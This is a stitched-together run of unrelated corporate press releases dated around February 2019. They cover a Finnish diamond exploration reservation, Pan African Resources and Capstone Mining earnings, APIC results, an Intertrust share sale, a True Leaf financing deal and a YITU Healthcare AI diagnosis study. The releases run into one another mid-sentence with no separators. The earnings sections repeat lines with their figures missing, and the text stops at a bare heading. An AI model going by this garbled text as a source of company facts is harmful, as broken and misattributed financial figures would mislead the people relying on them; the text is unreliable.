DIAMOND EXPLORATION RESERVATION GRANTED IN LIPERI

Geophysical And Mineral Anomalies Noted In The Reservation Area

Reservation Is Over An Area Which May Contain An As Yet Undiscovered Kimberlite

Karelian Diamond Resources plc ("Karelian Diamonds") (AIM: KDR), is pleased to report that TUKES (The Finnish Mining Authority) has granted a Reservation situated in the Liperi region of eastern Finland to Karelian Diamonds.

A review of positive past exploration results and airborne geophysics in the area led to the decision to apply for the Reservation.

The Liperi region lies within a geological area known as a Craton, which straddles Russia and Finland. Two world class diamond deposits, Lomonosov and Grib, have been discovered on the Russian sector of the Craton and are now in production.

Karelian Diamonds has an ongoing exploration programme on the Finnish sector of the Craton, in particular in the Kuhmo region where it has discovered two new kimberlite bodies. It is also assessing a diamond deposit at Lahtojoki in the Kaavi region of Finland with a view to developing a mine, which would be the first in Europe outside Russia.

The Liperi Reservation covers an area of 12 Km.

A Reservation gives exclusive rights to apply for an Exploration Permit within the Reservation area.

A link to a map of Finland showing the Reservation in the Liperi region and its proximity to Lahtojoki and Kuhmo is shown below:

Click here for map of Finland

Professor Richard Conroy, Chairman, Karelian Diamond Resources plc commented:

"I am delighted that Karelian Diamonds has been granted this Reservation in the Liperi region of Finland. It lies to the south of the Kuhmo region, where the Company has discovered two kimberlite bodies."

For further information please contact :

Conroy Gold and Natural Resources plc Tel: +353-1-479-6180 Professor Richard Conroy, Chairman Allenby Capital Limited(Nomad) Tel: +44-20-3328-5656 Nick Harriss/Nick Athanas Brandon Hill Capital Limited (Broker) Tel: +44-20-3463-5000 Jonathan Evans Lothbury Financial Services Tel: +44-20-3290-0707 Michael Padley Hall Communications Tel: +353-1-660-9377 Don HallPan African Resources PLC

("Pan African" or "the company" or "the group")

(Incorporated and registered in England and Wales under Companies Act 1985 with registered number 3937466 on 25 February 2000)

Share code on AIM: PAF

Share code on JSE: PAN

ISIN: GB0004300496

TRADING STATEMENT FOR THE SIX MONTHS ENDED 31 DECEMBER 2018

In terms of paragraph 3.4(b) of the Listings Requirements of the JSE Limited, a listed company is required to publish a trading statement as soon as it is satisfied a reasonable degree of certainty exists that the financial results for the period to be reported upon next, will differ by at least 20% from those of the previous corresponding period.

Pan African is incorporated in England and Wales and, accordingly, its presentation currency is pounds sterling ("GBP") with a functional currency in South African rand ("ZAR" or "R").

The ZAR:GBP exchange rate affects the reporting of results in GBP. For the six month reporting period ended 31 December 2018 ("current reporting period"), the average prevailing ZAR:GBP exchange rate is used, and in the event of material transactions, the exchange rate on the date of the material transaction is used to translate earnings from ZAR to GBP.

For the six months ended 31 December 2017 ("corresponding reporting period"), the average ZAR:GBP exchange rate was ZAR17.65:1. For the current reporting period, the ZAR depreciated against the GBP to an average exchange rate of ZAR18.36:1. This 4.0% period-on-period depreciation in the average exchange rate should be taken into account when comparing the current reporting period's results with the corresponding reporting period's results.

The group records its revenue from precious metals sales in ZAR. The depreciation in the value of the ZAR/USD exchange rate during the current reporting period positively impacted the USD revenue received when translated into ZAR. In the current reporting period, the average ZAR/USD exchange rate depreciated by 6.0% to ZAR14.19:1 (2017: ZAR13.39:1).

Due to the cessation of large-scale underground mining at Evander Gold Mining Proprietary Limited ("Evander Mines"), which includes 8 Shaft, 7 Shaft and the run-of-mine circuit in the Kinross metallurgical plant, the financial results from Evander Mines' underground operations for the corresponding reporting period were classified as discontinued operations ("discontinued operations"). The corresponding reporting period's figures have therefore been restated to differentiate between discontinued operations and the results from the continuing operations. The combined results comprise the results of the continuing operations and discontinued operations ("combined operations").

In the current reporting period, the group's weighted average number of shares in issue increased by 7.2% to 1,928,329,479 shares (2017: 1,798,329,479 shares). The increase in the weighted average number of shares in issue is due to the disposal of 130-million Pan African shares held by PAR Gold Proprietary Limited ("PAR Gold"), which resulted in a commensurate increase in the weighted average number of shares in issue, as these shares had previously been accounted for as treasury shares. The proceeds from the disposal of the Pan African shares held by PAR Gold were partly used to fund the incorporation of the existing throughput from the Evander Tailing Retreatment Plant ("ETRP") into Elikhulu's processing capacity, which resulted in an increased capacity to 1.2-million tonnes per month.

ZAR range for EPS and HEPS:

Pan African advises shareholders that its earnings per share ("EPS") and headline earnings per share ("HEPS") in ZAR terms, from its combined operations for the current reporting period, are expected to be:

EPS: 116% to 126% higher than the 3.23 cents per share for the corresponding reporting period, resulting in an expected EPS range of between 6.98 to 7.30 cents per share.

per share for the corresponding reporting period, resulting in an expected EPS range of between 6.98 to per share. HEPS: 99% to 109% higher than the 3.51 cents per share for the corresponding reporting period, resulting in an expected HEPS range of between 6.98 to 7.34 cents per share.

EPS and HEPS, in ZAR terms, from the group's continuing operations, for the current reporting period are expected to range between 8% to 18% higher than the 6.34 cents per share reported in the corresponding reporting period, resulting in an expected EPS and HEPS range of between 6.85 to 7.48 cents per share.

GBP range for EPS and HEPS:

In GBP terms, EPS and HEPS from the group's combined operations for the current reporting period, are expected to be:

EPS: 112% to 122% higher than the 0.18 pence for the corresponding reporting period, resulting in an expected EPS range of between 0.38 to 0.40 pence per share.

for the corresponding reporting period, resulting in an expected EPS range of between 0.38 to per share. HEPS: 90% to 100% higher than the 0.20 pence for the corresponding reporting period, resulting in an expected HEPS range of between 0.38 to 0.40 pence per share.

In GBP terms, EPS and HEPS from continuing operations for the current reporting period, are expected to range between 3% to 13% higher than the 0.36 pence per share reported in the corresponding reporting period, resulting in an expected EPS and HEPS range of between 0.37 to 0.41 pence per share.

The financial information contained in this announcement has neither been reviewed nor audited by the company's external auditors. The group's unaudited interim results for the period ended 31 December 2018 will be released on 20 February 2019.

For further information on Pan African, please visit the company's website at www.panafricanresources.com.

13 February 2019" EIT Digital build s on strong achievements and will focus in coming years on further increasing the global impact of European actors in the digital world ," emphasised Willem Jonker. " We will do so by selecting and growing the most promising European digital technology from our ecosystem and beyond, and by supporting the attraction and education of necessary digital talent ."

Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann.TheSeniorList, an online resource for seniors, released The Best States for Finding Love After 50 using the latest data from the U.S. Census Bureau on marital status and income. The study evaluated the percentage of single people over 50 and other factors to determine where people have the greatest chance of finding love and concluded that Maryland was No. 1.RAMALLAH, Palestine, Feb. 13, 2019 /PRNewswire/ -- Arab Palestinian Investment Company (APIC) announced its consolidated preliminary (unaudited) financial results for 2018. In his statement, APIC Chairman and CEO Tarek Aggad announced that APIC maintained good performance in 2018 despite the numerous surrounding challenges; revenues grew by 7.6% versus 2017, and amounted to USD 735.8 million in 2018.

Capital expansions

Aggad stated that the group's net profit after tax amounted to USD 16.04 million in 2018, a drop of 8% year on year, noting that the main reason behind this decline was the fluctuation rate of the NIS (the main currency of operations in Palestine) vis-a-vis the US dollar (the official currency of APIC's financial statements), which caused a negative impact by USD 2.3 million compared to previous year's results. However, net profits attributed to APIC's shareholders increased by 9.7% compared to 2017, amounting to USD 13.1 million in 2018. This growth was essentially led by the full acquisition of APIC subsidiary Medical Supplies and Services (MSS), which saw APIC acquiring its partner's entire 50% stake in MSS in a share swap agreement, making it wholly owned by APIC, in addition to a number of capital expansions that included increasing APIC's shareholding ownership percentage from 61.2% to 65.8% in its subsidiary Siniora Food Industries, a listed company on Amman Stock Exchange. APIC also acquired a 6% stake in MadfooatCom, the operator of the national integrated e-bill payment platform in Jordan, in a deal worth USD 2.3 million. These developments saw a growth in net profits attributed to APIC shareholders in 2018.

Total assets amounted to USD 383.48 million as at December 31, 2018, an increase of 7.4% over 2017. Net equity attributed to APIC shareholders amounted to USD 115.6 million as at December 31, 2018, an increase of 22% over 2017.

APIC's market capitalization grew by 39%

Aggad noted that APIC's share price performed well throughout the year, and closed at USD 2.35 at the end of 2018, a growth of 18.7% compared to 2017. APIC's market capitalization grew to reach USD 192.7 million by the end of 2018, a growth of 39% compared to 2017. This growth was driven by the increase in the share price, as well as in the number of issued shares from 70 to 82 million shares; five million bonus shares (7.14%) were distributed to APIC shareholders, with an additional seven million shares issued in a private placement to APIC's partners in exchange for acquiring MSS in its entirety. This resulted in earnings per share amounting to 16 cents in 2018, compared to 17 cents in 2017 after taking into consideration the increase in APIC's paid-in capital from USD 70 million to USD 82 million.

Dividend distribution of 14.28% and increasing APIC's authorized capital to USD 100 million

Aggad indicated that in 2018, APIC distributed cash dividends to its shareholders amounting to USD 5 million (7.14%); accordingly, total distributed dividends (cash and bonus shares) amounted to USD 10 million, 14.28% of company's paid-in capital. Moreover, in 2018, APIC increased its authorized capital from USD 70 million to USD 100 million, a step towards increasing APIC's paid-in capital in the future.

APIC invested 8% of its net profit in social responsibility, amounting to USD 1.3 million

Aggad highlighted that APIC has maintained its effective social responsibility role in the communities within which it operates by continuing to form strategic partnerships with institutions that play an active role in Palestinian society, assisting them in fulfilling their missions, with a focus on the education and health sectors, entrepreneurial projects, youth as well as through supporting social, charitable, humanitarian and cultural institutions. In 2018, USD 1.3 million was invested in social responsibility by APIC and its group of subsidiaries, representing 8% of the company's net profit.

About APIC

APIC is a foreign public shareholding investment holding company listed on the Palestine Exchange (PEX: APIC). It holds diversified investments across the manufacturing, trade, distribution and service sectors in Palestine, Jordan, Saudi Arabia and the United Arab Emirates through nine subsidiaries: Siniora Food Industries Company; Unipal General Trading Company; Palestine Automobile Company; Medical Supplies and Services Company; National Aluminum and Profiles Company (NAPCO); Sky Advertising and Public Relations and Event Management Company; Arab Palestinian Shopping Centers (BRAVO); Arab Leasing Company and Arab Palestinian Storage and Cooling Company. APIC is also one of the founding shareholders of Palestine Power Generation Company and owns shares in Bank of Palestine and Palestine Private Power Company, MadfooatCom, Islamic Finance House, and Al-Fares National Company for Investment & Export (Optimiza(.

www.apic.psAmsterdam, the Netherlands - 13 February 2019 - Intertrust N.V. ("Intertrust" or "Company") [Euronext: INTER], a leading global provider of expert administrative services to clients operating and investing in the international business environment, announces that it has been informed that Blackstone Perpetual Topco S.a.r.l., an entity controlled by investment funds managed by affiliates of The Blackstone Group L.P. ("Blackstone"), has placed all of the remaining 6,074,824 Intertrust shares at EUR 15.15 per share with institutional investors via an accelerated book build.

Following this transaction, Blackstone no longer holds any shares in Intertrust's issued share capital.

For further information

Intertrust N.V. marieke.palstra@intertrustgroup.com (mailto:marieke.palstra@intertrustgroup.com)

Marieke Palstra Tel: +31 20 577 1157

Director of Investor Relations and Corporate Communications

About Intertrust

Intertrust is a global leader in providing expert administrative services to clients operating and investing in the international business environment. The Company has more than 2,500 employees across 41 offices and 29 jurisdictions in Europe, the Americas, Asia Pacific and the Middle-East. Intertrust has leading market positions in selected key financial markets, including the Netherlands, Luxembourg, Jersey and the Americas. Intertrust delivers high-quality, tailored corporate, fund, capital market and private wealth services to its clients, with a view to building long-term relationships. The Company works with global law firms and accountancy firms, multinational corporations, financial institutions, fund managers, high net worth individuals and family offices.

This press release contains information that qualifies, or may qualify, as inside information within the meaning of Article 7(1) of the EU Market Abuse Regulation.

Press release (PDF) (http://hugin.info/171118/R/2234701/879475.pdf)



This announcement is distributed by West Corporation on behalf of West Corporation clients.

The issuer of this announcement warrants that they are solely responsible for the content, accuracy and originality of the information contained therein.

Source: Intertrust Group via Globenewswire

Vernon, British Columbia--(Newsfile Corp. - February 12, 2019) - True Leaf Medicine International Ltd. (CSE: MJ) (OTCQB: TRLFF) (FSE: TLA) ("True Leaf" or the "Company"), a leading global cannabis and hemp wellness brand for pets, announced today that it has executed a funding agreement (the "Funding Agreement") for the issue of a convertible security for gross proceeds of $4,500,000 (the "Investment") with an entity managed by The Lind Partners, a New York-based institutional fund manager (the "Investor").

"This capital investment from The Lind Partners demonstrates that True Leaf is a recognized leader in today's cannabis-for-pets sector and is testament to our strong and accelerating growth platform," said Darcy Bomford, Founder and Chief Executive Officer of True Leaf. "This investment will allow us to continue executing on our business plan, including expanding our unique pet product lines and scaling of our global distribution."

"We were impressed by the depth of True Leaf's leadership team and their innovation in the cannabis-for-pets sector," said Phillip Valliere, Managing Director at The Lind Partners. "True Leaf's safe and effective hemp-based products for pets sets them apart from their competitors. We are excited to watch True Leaf grow."

The Investment is in the form of a convertible security with a maturity date of 24 months and a fixed conversion price per share of $0.40, being the last closing price of the Company's common shares on the Canadian Securities Exchange (the "Exchange") prior to execution of the Funding Agreement. The $5,400,000 face value of the convertible security is comprised of a principal amount of $4,500,000 and a pre-paid interest amount of $900,000. The Company is required to repay the principal amount in 18 equal monthly payments commencing six months after closing, except that the repayment amount will be reduced in any month by any amount converted by the Investor into the Company's common shares.

Pre-paid interest will accrue monthly with the Investor having the right to convert accrued interest quarterly into the Company's common shares at a conversion price equal to the last closing market price of the shares on the Exchange at that time.

The Investor will also receive 5,625,000 warrants of the Company, with each warrant entitling the Investor to purchase one common share at an exercise price of $0.5089. The warrants expire 36 months from their date of issue, provided that if the volume weighted average price ("VWAP") of the Company's common shares is at least $1.0178 for 30 consecutive trading days, then the expiry date of 2,812,500 warrants may be accelerated by the Company. If the VWAP of the Company's common shares is at least $1.5267 for 30 consecutive trading days, then the expiry date of all of the remaining warrants may be accelerated by the Company.

The Company has the right to buy-back the convertible security and the pre-paid interest at any time with no penalty (the "Buy-Back Right"). Should the Company exercise its Buy-Back Right, the Investor will have the option of converting 25 per cent of the outstanding funded amount and 100 per cent of the pre-paid interest into the Company's common shares.

The convertible security is secured by a general security agreement from the Company and certain of its subsidiaries and a mortgage of the Company's Lumby property.

Under the Funding Agreement, the Company and the Investor may agree for the Investor to advance up to an additional $6,000,000 in gross proceeds to the Company in exchange for a second convertible security on the same terms as the Investment.

The closing of the investment is expected to occur on or about February 21, 2019. Closing of the Investment is subject to customary closing conditions.

About True Leaf

True Leaf is a leading global cannabis and hemp wellness brand for pets. Inspired by the unconditional love our pets give us every day, we return that love through our wellness pet products which help maintain and protect the natural vitality of our pet companions. "Return the Love" is the purpose that drives our business and is at the heart of our values to bring happiness to pets and their owners.

www.trueleaf.com

About The Lind Partners

The Lind Partners is a New York-based institutional fund manager focused on small- and mid-cap companies listed in the United States, Canada, Australia, and the UK focused on high-growth sectors such as mining, oil and gas, biotech, and technology. Lind has completed over 70 direct investments for more than $850 million in total value and has an established reputation as a flexible and supportive capital partner to investee companies.

www.thelindpartners.com

For more information:

Media Contact

Paul Sullivan

Director, Public Relations

Paul@trueleaf.com

O: 604-685-4742

M: 604-603-7358

Investor Contact

Kevin Bottomley (Canada)

Director and Corporate Relations

Kevin@trueleaf.com

M: 778-389-9933

Joe Green (US)

Edison Advisors

jgreen@edisongroup.com

O: 646-653-7030

M: 917-575-7089

Follow True Leaf

twitter.com/trueleafpet

facebook.com/trueleafpet

instagram.com/trueleafpet

Forward-Looking Information

Certain statements in this news release contain forward-looking information within the meaning of applicable securities laws in Canada ("forward-looking information"). The words "anticipates", "believes", "budgets", "could", "estimates", "expects", "forecasts", "intends", "may", "might", "plans", "projects", "schedule", "should", "will", "would" and similar expressions are often intended to identify forward-looking information, although not all forward-looking information contains these identifying words.

The forward-looking information in this news release includes, but is not limited to: the closing of the investment is expected to occur on or about February 21, 2019; and that the Investment will allow us to continue executing on our business plan, including expanding our unique pet product lines and scaling of our global distribution.

The forecasts and projections that make up the forward-looking information are based on assumptions which include, but are not limited to: we are able to satisfy the standard conditions necessary to close the Investment; we are able to attract and retain senior management and key skilled professionals; we are able to raise sufficient capital to execute our business plan; we are able to successfully manage the risks associated with our limited operating history; we are able to successfully manage the risks associated with our history of operating losses; we are able to successfully introduce new products and recoup our investment costs; we are able successfully implement our growth strategy; our co-packers fulfill their obligations; we are able to manage our supply chain effectively; our transportation providers deliver our products as scheduled; we are able to successfully expand into countries in which we have no prior operating experience; we are able to successfully overcome the strong competition in the markets in which we operate; we do not lose any of our key suppliers or distribution arrangements; we are not exposed to significant product liability claims which our insurance does not cover; we successfully manage our risks as an ecommerce retailer; we successfully protect the confidentiality of our proprietary information and know-how; we are able to successfully commence operations with our cannabis for medical purposes business; we are able to successfully manage the regulation of our business by the Canadian Federal Government; we are able to successfully manage the potential for changes in the regulation of the medical cannabis industry; we are able to successfully manage the sales risks associated with cannabis and the medical cannabis industries; we are able to use our facilities as planned; and, we are able to obtain market share and achieve profits.

The forward-looking information is subject to risks, uncertainties and other factors that could cause actual results to differ materially from historical results or results anticipated by the forward-looking information. The factors which could cause results to differ from current expectations include, but are not limited to: our ability to satisfy the standard conditions necessary to close the Investment which we may or may not be able to do; material uncertainties that may cast significant doubt on our ability to continue as a going concern; our ability to attract and retain senior management and key skilled professionals which we may or may not be able to do; our ability to raise the significant amount of capital needed to execute our business plan which we may or may not be able to do; risks associated with our limited operating history; risks associated with our history of operating losses; risks associated with introducing new products including the risk that our new product developments will not produce sufficient sales to recoup our investment; our ability to successfully implement our growth strategy on a timely basis or at all; our reliance on co-packers to fulfill their obligations; our ability to manage our supply chain effectively; our transportation providers delivery of our products; difficulties associated with our ability to expand into countries in which we have no prior operating experience; strong competition in the markets in which we operate; the potential loss of any of our key suppliers or distribution arrangements; the potential for us to be exposed to significant product liability claims which our insurance may not cover; our risks as an ecommerce retailer; our ability to protect the confidentiality of our proprietary information and know-how; our cannabis for medical purposes business has not commenced operations; the regulation of our business by the Canadian Federal Government; the potential for changes in the regulation of the medical cannabis industry; sales risks associated with cannabis and the medical cannabis industries; our ability to use our facilities as planned; and, our ability to acquire market share and achieve profits. Please see the Company's most recent annual information form together with the Company's most recent management discussion and analysis for additional risk factors relating to the Company.

All forward-looking information in this news release is qualified in its entirety by this cautionary statement and, except as may be required by law, we undertake no obligation to revise or update any forward-looking information as a result of new information, future events or otherwise after the date hereof.

To view the source version of this press release, please visit https://www.newsfilecorp.com/release/42798YITU Healthcare has successfully used natural language processing (NLP) to achieve high accuracy rates on par with doctors when reading electronic health records and generating patient diagnoses.

This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20190212006052/en/

A snapshot of the published paper "Evaluation and Accurate Diagnoses of Pediatric Diseases using Artificial Intelligence" on Nature Medicine. (Photo: Business Wire)

The result is published on Nature Medicine under "Evaluation and Accurate Diagnoses of Pediatric Diseases using Artificial Intelligence". It's the first time for a top medical journal to publish research findings related to employing NLP technology in making clinical diagnoses.

The system has achieved high accuracy of many dangerous conditions including acute asthma exacerbations (97%), bacterial meningitis (93%), varicella (93%), influenza (94%), roseola (93%). YITU Healthcare joined hands with Guangzhou Women and Children's Medical Center and other research institutions to make this seminal breakthrough.

Using YITU's NLP system to extract clinically relevant information and establish a diagnostic system, the team proposed a model for electronic health record data that integrates prior medical knowledge and data-driven modeling. It has been applied in a large pediatric population and shows a strong performance in accuracy across multiple organ systems.

"It proves AI technology is able to assist doctors to deal with massive data and diagnose, as well as provide support in uncertain and complex medical cases," said Ni Hao, chief executive of YITU Healthcare. "Pediatric diseases can be tricky for doctors. An AI assistant will profoundly improve the diagnosis process and increase efficiency."

The research has collected 101.6 million data points from over 1.36 million outpatient visits from January 2016 to July 2017 in Guangzhou Women and Children's Medical Center to train and validate the model. The primary diagnoses included 55 diagnosis codes encompassing common diseases in pediatrics and representing a wide range of pathologies. The diagnostic system achieved a robust performance for two categories of pediatric disease: common conditions and potentially life-threatening conditions.

The system has great potentials for clinical use, for example triage procedures. It generates predicted diagnosis with inputs of basic medical history, vital signs and physical exams from patients. These predictions help doctors make better use of precious time. The system can also assist physicians to diagnose complex or rare conditions to avoid misjudgments or biases. Most importantly, the system will provide high quality healthcare service as well as ease the tension of severe shortage of experienced pediatrics in China, benefiting both patients and doctors.

View source version on businesswire.com: https://www.businesswire.com/news/home/20190212006052/en/

Contacts:

YITU Technology

Hannah Liu

media@yitu-inc.com(All amounts in US$ unless otherwise specified)

VANCOUVER, British Columbia, Feb. 12, 2019 /PRNewswire/ -- Capstone Mining Corp. ("Capstone" or the "Company") (TSX: CS) announced its financial results for the three months and year ended December 31, 2018. Cash flow from operating activities for the quarter was $54.2 million or $0.14 per share and $131.1 million or $0.34 per share for the full year.

"Operational performance at our mines steadily improved as the year progressed, with increased production as well as reduced costs quarter-over-quarter," said Darren Pylot, President and CEO of Capstone. "We ended 2018 strong and are well positioned for a solid 2019."

Q4 2018 HIGHLIGHTS

Capstone achieved 2018 guidance from continuing operations with consolidated production of 155.2 million pounds of copper and C1 cash cost 1 of $1.83 per pound payable produced.

with consolidated production of 155.2 million pounds of copper and C1 cash cost of per pound payable produced. Q4 2018 copper production from continuing operations of 42.3 million pounds and C1 cash cost 1 of $1.70 per payable pound produced . Q4 was the third consecutive quarterly performance improvement in 2018.

. Q4 was the third consecutive quarterly performance improvement in 2018. Operating cash flow before changes in working capital 1 of $19.1 million . A reduction in net debt during Q4 2018 of $20.2 million and a $15.0 million repayment on the Revolving Credit Facility ("RCF") for a total of $55.0 million in RCF repayments during 2018. Q4 2018 operating cash flow before changes in working capital 1 was impacted by lower sales volumes in Q4 2018 than Q3 2018.

A reduction in net debt during Q4 2018 of and a repayment on the Revolving Credit Facility ("RCF") for a total of in RCF repayments during 2018. Q4 2018 operating cash flow before changes in working capital was impacted by lower sales volumes in Q4 2018 than Q3 2018. Adjusted net income from continuing operations 1 of $7.9 million ( $0.02 per share) and net loss from continuing operations of $15.2 million ( ($0.04) per share). Net loss included non-recurring restructuring charges and non-cash deferred tax asset write-downs. Refer to the Alternative Performance Measures section in the Management's Discussion & Analysis for the year ended December 31, 2018 for details.

and net loss from continuing operations of ( per share). Net loss included non-recurring restructuring charges and non-cash deferred tax asset write-downs. Refer to the Alternative Performance Measures section in the Management's Discussion & Analysis for the year ended for details. Cozamin reserves increased by ~90% and targeting 30% increase in production by end of 2020.

Positive technical report with strong economics released for Santo Domingo and strategic process launched:

NPV (after-tax) of $1.0 billion and IRR of 22%.

and IRR of 22%.

Robust, permitted copper-iron oxide-gold project; shovel-ready by early-2020.



Strategic process launched to optimize the ownership structure to align with Capstone's financing capabilities and maximize the value of the project for Capstone's shareholders.

Minto mine placed on temporary care and maintenance to preserve value while the Company continues to run a strategic sale process.

OPERATIONAL OVERVIEW



Q4 2018 Q4 2017 2018 2017 Copper Production (million pounds)







Pinto Valley 33.0 35.6 119.0 126.4 Cozamin 9.3 9.4 36.2 36.9 Total from continuing operations 42.3 45.0 155.2 163.3 C1 Cash Cost1 ($/lb) Produced







Pinto Valley 1.97 1.79 2.16 1.95 Cozamin 0.75 1.04 0.75 1.16 Consolidated from continuing operations 1.70 1.63 1.83 1.77

Consolidated copper production from continuing operations of 155.2 million pounds and C1 cash cost1 of $1.83 per pound produced for 2018 was in line with guidance.

Pinto Valley Mine

Pinto Valley's Q4 2018 production increased from the third quarter on planned higher throughput. Throughput improved due to increased stabilization of operations and reliability improvements in the crushing and milling circuits. Average grade of 0.34% during the quarter was in accordance with the mine plan.

Cozamin Mine

Cozamin's Q4 2018 copper production increased from the third quarter on higher throughput of 3,030 tonnes per day. Production from the San Rafael zinc zone ramped up to planned levels during Q3 2018, resulting in the highest quarterly zinc production in Q4 2018. Zinc production in 2018 totaled 15 million pounds.

FINANCIAL OVERVIEW

Please refer to the Company's financial statements, related notes and accompanying Management's Discussion and Analysis for a full review of its forth quarter and full year 2018 financial and operational results. This can be accessed by clicking on this link: Q4-2018 MD&A and Financial Statements.



Q4 2018 Q4 2017 2018 2017 2016 Revenue from continuing operations2 ($ millions) 98.0 126.5 415.9 430.4 374.6 Net (loss) income from continuing operations

($ millions) (15.2) 37.4 7.4 44.6 (223.9) Adjusted net income (loss) from continuing operations1 ($ millions) 7.9 11.2 31.5 (3.3) (0.5) Net income (loss) ($ millions) (39.0) 29.5 (23.6) 55.1 (197.4) Adjusted EBITDA1 from continuing operations

($ millions) 31.2 38.7 126.5 94.9 89.4 Cash flow from operating activities2 ($ millions) 54.2 44.8 131.1 112.5 125.3 Operating cash flow before changes in working capital1, 2 ($ millions) 19.1 38.2 100.4 129.7 156.9 Total assets ($ millions) 1,336.1 1,400.5 1,336.1 1,400.5 1,395.0 Net debt1 ($ millions) 150.1 158.7 150.1 158.7 198.6

2 In accordance with IFRS 5, Minto's results are excluded from revenue but included within cash flow amounts in both the current and comparative period.

OUTLOOK - 2019 PRODUCTION, COST AND CAPITAL GUIDANCE

In 2019, Capstone expects to produce between 145 million and 160 million pounds of copper at a C1 cash cost1 of between $1.80 and $2.00 per pound payable copper produced.

2019 Guidance Pinto Valley Cozamin Santo

Domingo Total Production and Cost Copper production (million pounds) 115 - 125 30 - 35 - 145 - 160 C1 Cash Cost1,2 $2.10 - $2.25 $0.90 - $1.05 - $1.80 - $2.00 Capital Expenditure ($ millions, rounded) Sustaining 26.5 29.0 - 55.5 Capitalized Stripping3 13.5 - - 13.5 Expansionary 6.0 4.0 10.54 20.5 Total Capital Expenditure 46.0 33.0 10.5 89.5 Exploration ($ millions, rounded) Brownfield5 - 6.0 - 6.0 Greenfield6 - - - 6.0 Total Exploration - 6.0 - 12.0

2 Per pound of payable copper produced, net of by-product credits and treatment and selling costs. 3 Capitalized stripping is included as an operating cost in the PV3 PFS; however, under IFRS accounting guidelines, stripping costs are capitalized when certain criteria are met. 4 On a 100% basis, the total is approximately $15 million; ownership is 70% Capstone and 30% KORES. 5 Brownfield exploration is capitalized. 6 Greenfield exploration is expensed.

CONFERENCE CALL AND WEBCAST DETAILS

Capstone will hold a conference call and webcast on Wednesday, February 13, 2019 at 11:30 a.m. Eastern time (8:30 a.m. Pacific time) to discuss these results; call-in details and information on associated slides are provided below. This release is not suitable on a standalone basis for readers unfamiliar with Capstone and should be read in conjunction with Capstone's consolidated financial statements and management's discussion and analysis ("MD&A") for the quarter ended December 31, 2018, which are available on Capstone's website at https://capstonemining.com/investors/financial-reporting/default.aspx and on SEDAR, all of which have been reviewed and approved by Capstone's Board of Directors. An updated corporate presentation will also be available at https://capstonemining.com/investors/events-and-presentations/default.aspx.

Date: Wednesday, February 13, 2019 Time: 11:30 am Eastern Time (8:30 am Pacific Time) Dial in: North America: 1-888-390-0546, International: +416-764-8688 Webcast: https://event.on24.com/wcc/r/1877147/BCD1389992682067485D8D0C5727099E Replay: North America: 1-888-390-0541, International: +416-764-8677 Replay Passcode: 521712#

The conference call replay will be available until Wednesday, February 20, 2019. The conference call audio file will be available on Capstone's website within 48 hours of the call at https://capstonemining.com/investors/events-and-presentations/default.aspx.

ABOUT CAPSTONE MINING CORP.

Capstone Mining Corp. is a Canadian base metals mining company, focused on copper. We are committed to the responsible development of our assets and the environments in which we operate. Our two producing mines are the Pinto Valley copper mine located in Arizona, US and the Cozamin polymetallic mine in Zacatecas State, Mexico. In addition, Capstone has the large scale 70% owned copper-iron Santo Domingo development project in Region III, Chile in partnership with Korea Resources Corporation, the Minto copper mine in Yukon, Canada currently on care and maintenance, as well as a portfolio of exploration properties. Capstone's strategy is to focus on the optimization of operations and assets in politically stable, mining-friendly regions, centred in the Americas. Our headquarters are in Vancouver, Canada and we are listed on the Toronto Stock Exchange (TSX). Further information is available at www.capstonemining.com.

CAUTIONARY NOTE REGARDING FORWARD-LOOKING INFORMATION

This document may contain "forward-looking information" within the meaning of Canadian securities legislation and "forward-looking statements" within the meaning of the United States Private Securities Litigation Reform Act of 1995 (collectively, "forward-looking statements"). These forward-looking statements are made as of the date of this document and the Company does not intend, and does not assume any obligation, to update these forward-looking statements, except as required under applicable securities legislation.

Forward-looking statements relate to future events or future performance and reflect our expectations or beliefs regarding future events. Forward-looking statements include, but are not limited to, statements with respect to the estimation of mineral resources and mineral reserves, the realization of mineral reserve estimates, the timing and amount of estimated future production, costs of production and capital expenditures, the success of our mining operations, environmental risks, unanticipated reclamation expenses and title disputes. In certain cases, forward-looking statements can be identified by the use of words such as "plans", "expects", "budget", "scheduled", "estimates", "forecasts", "intends", "anticipates", "believes" or variations of such words and phrases, or statements that certain actions, events or results "may", "could", "would", "might" or "will be taken", "occur" or "be achieved" or the negative of these terms or comparable terminology. In this document certain forward-looking statements are identified by words including "guidance" and "expects". By their very nature, forward-looking statements involve known and unknown risks, uncertainties and other factors that may cause our actual results, performance or achievements to be materially different from any future results, performance or achievements expressed or implied by the forward-looking statements. Such factors include, amongst others, risks related to inherent hazards associated with mining operations and closure of mining projects, future prices of copper and other metals, compliance with financial covenants, surety bonding, our ability to raise capital, Capstone's ability to acquire properties for growth, counterparty risks associated with sales of our metals, use of financial derivative instruments and associated counterparty risks, foreign currency exchange rate fluctuations, changes in general economic conditions, accuracy of mineral resource and mineral reserve estimates, operating in foreign jurisdictions with risk of changes to governmental regulation, compliance with governmental regulations, compliance with environmental laws and regulations, reliance on approvals, licences and permits from governmental authorities, impact of climatic conditions on our operations, aboriginal title claims and rights to consultation and accommodation, land reclamation and mine closure obligations, uncertainties and risks related to the potential development of the Santo Domingo Project, increased operating and capital costs, challenges to title to our mineral properties, maintaining ongoing social license to operate, dependence on key management personnel, potential conflicts of interest involving our directors and officers, corruption and bribery, limitations inherent in our insurance coverage, labour relations, increasing energy prices, competition in the mining industry, risks associated with joint venture partners, our ability to integrate new acquisitions into our operations, cybersecurity threats, legal proceedings, and other risks of the mining industry as well as those factors detailed from time to time in the Company's interim and annual financial statements and MD&A of those statements, all of which are filed and available for review under the Company's profile on SEDAR at www.sedar.com. Although the Company has attempted to identify important factors that could cause our actual results, performance or achievements to differ materially from those described in our forward-looking statements, there may be other factors that cause our results, performance or achievements not to be as anticipated, estimated or intended. There can be no assurance that our forward-looking statements will prove to be accurate, as our actual results, performance or achievements could differ materially from those anticipated in such statements. Accordingly, readers should not place undue reliance on our forward-looking statements.

NATIONAL INSTRUMENT 43-101 COMPLIANCE

